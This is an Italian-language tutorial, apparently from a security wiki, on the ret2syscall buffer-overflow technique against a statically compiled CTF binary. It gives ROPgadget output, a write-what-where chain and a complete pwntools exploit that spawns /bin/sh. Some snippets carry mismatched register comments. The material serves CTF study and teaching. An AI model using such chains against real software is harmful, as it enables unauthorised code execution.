Ret2syscall

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Informazioni di base

Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall sys_execve con alcuni argomenti per eseguire /bin/sh. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall.

Per preparare la chiamata per la syscall è necessaria la seguente configurazione:

• rax: 59 Specifica sys_execve
• rdi: ptr a "/bin/sh" specifica il file da eseguire
• rsi: 0 specifica nessun argomento passato
• rdx: 0 specifica nessuna variabile d'ambiente passata

Quindi, fondamentalmente è necessario scrivere la stringa /bin/sh da qualche parte e poi eseguire la syscall (essendo consapevoli del padding necessario per controllare lo stack). Per questo, abbiamo bisogno di un gadget per scrivere /bin/sh in un'area conosciuta.

Gadget di registrazione

Iniziamo a trovare come controllare quei registri:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Con questi indirizzi è possibile scrivere il contenuto nello stack e caricarlo nei registri.

Scrivere stringa

Memoria scrivibile

Prima devi trovare un luogo scrivibile nella memoria

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Scrivere stringa in memoria

Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatizzare la catena ROP

Il seguente comando crea una catena ROP completa sys_execve dato un binario statico quando ci sono gadget write-what-where e istruzioni syscall:

ROPgadget --binary vuln --ropchain

32 bit

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bit

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Gadget mancanti

Se ti mancano gadget, ad esempio per scrivere /bin/sh in memoria, puoi utilizzare la tecnica SROP per controllare tutti i valori dei registri (inclusi RIP e registri dei parametri) dallo stack:

{{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}}

Esempio di exploit

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

Altri Esempi & Riferimenti

• https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
• 64 bit, no PIE, nx, scrivere in memoria un ROP per chiamare execve e saltare lì.
• https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
• 64 bit, nx, no PIE, scrivere in memoria un ROP per chiamare execve e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche.
• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
• 64 bit, no PIE, nx, BF canary, scrivere in memoria un ROP per chiamare execve e saltare lì.